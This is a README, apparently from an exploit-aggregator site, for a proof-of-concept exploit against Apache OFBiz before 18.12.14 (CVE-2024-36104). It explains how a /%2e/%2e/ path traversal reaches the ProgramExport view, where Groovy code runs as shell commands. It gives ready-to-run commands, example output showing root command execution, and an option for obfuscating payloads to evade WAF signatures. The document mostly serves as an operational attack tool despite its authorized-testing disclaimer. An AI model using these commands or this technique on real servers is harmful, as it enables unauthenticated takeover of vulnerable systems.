Exploit for Path Traversal in Apache Ofbiz CVE-2024-36104

## https://sploitus.com/exploit?id=8E332203-070C-585C-A4B0-AE0F2A396ACB
# CVE-2024-36104-PoC

Proof-of-concept for [**CVE-2024-36104**](https://nvd.nist.gov/vuln/detail/CVE-2024-36104), an unauthenticated remote code execution vulnerability in **Apache OFBiz before 18.12.14**.

OFBiz's `ControlServlet` resolves an unauthenticated view (`forgotPassword`) before canonicalizing the request path. Appending `/%2e/%2e/` collapses back onto `/webtools/control/`, so the request reaches the `ProgramExport` view without ever passing through the security/permission check tied to the original view. `ProgramExport` then executes arbitrary Groovy code, giving unauthenticated remote command execution.

The script wraps the command in a Groovy snippet that runs it through `/usr/bin/bash -lc`, sends it to the vulnerable endpoint, and extracts the output from the `java.lang.Exception` OFBiz throws back in the HTML response.

## What It Does

1. Validates and normalizes the target URL.
2. Builds the `/%2e/%2e/` traversal path from `forgotPassword` to `ProgramExport`.
3. Wraps the command in a Groovy payload executed via Bash.
4. Sends the payload as `groovyProgram` to the vulnerable endpoint.
5. Parses the HTML response and extracts the command output.
6. Falls back to the raw response on parse failure or server errors.

## Requirements

```bash
Python 3.8+

pip install -r requirements.txt
```

Required Python packages:

```bash
requests
urllib3
```

## Quick Start

Values wrapped in angle brackets are placeholders. Replace them with your own values and do not include the `` characters.

```bash
python3 cve_2024_36104.py \
  --target  \
  --command 
```

### Placeholders

```bash
  # Target base URL. Example: https://10.129.231.23
     # Command that Bash will interpret. Example: id
```

## Full Example

```bash
python3 cve_2024_36104.py \
  --target https://10.129.231.23 \
  --command "id"
```

Example output:

```bash
[2026-05-17T18:20:10Z] [*] Target: https://10.129.231.23/webtools/control/forgotPassword/%2e/%2e/ProgramExport
[2026-05-17T18:20:10Z] [*] Host header sent: localhost
[2026-05-17T18:20:10Z] [*] Command: id
[2026-05-17T18:20:11Z] [*] HTTP status: 200
[2026-05-17T18:20:11Z] [*] Response size: 4213 bytes

[+] Output of: id
uid=0(root) gid=0(root) groups=0(root)
```

## Optional Flags

```bash
-H, --host-header 
   Value of the Host header. Default: localhost

--prefix-view 
   Unauthenticated view used before the /%2e/%2e/ traversal. Default: forgotPassword

--target-view 
   View reached after the traversal. Default: ProgramExport

--endpoint 
   Full custom endpoint path, overrides --prefix-view/--target-view.

--timeout 
   Maximum HTTP request time. Default: 15

--obfuscate
   Send groovyProgram as \uXXXX escapes instead of plaintext, matching the
   encoding used in public write-ups to dodge naive WAF signatures.

--show-payload
   Print the generated Groovy code before sending it.

--show-response
   Print the full HTML response.

--only-final
   Hide progress logs and print only the command output.

--no-color
   Disable ANSI colors.

--debug
   Enable extra diagnostic logging.
```

## Notes

- Affects Apache OFBiz versions **before 18.12.14**.
- No authentication or user interaction is required.
- If the server returns `502`, the backend likely didn't finish before the proxy timeout; the command may still complete server-side.
- Use `--show-response` to inspect the raw HTML when automatic extraction fails.

## Legal

This PoC is intended for **authorized security testing**, lab environments, and vulnerability verification.
Do not use it against systems without explicit permission.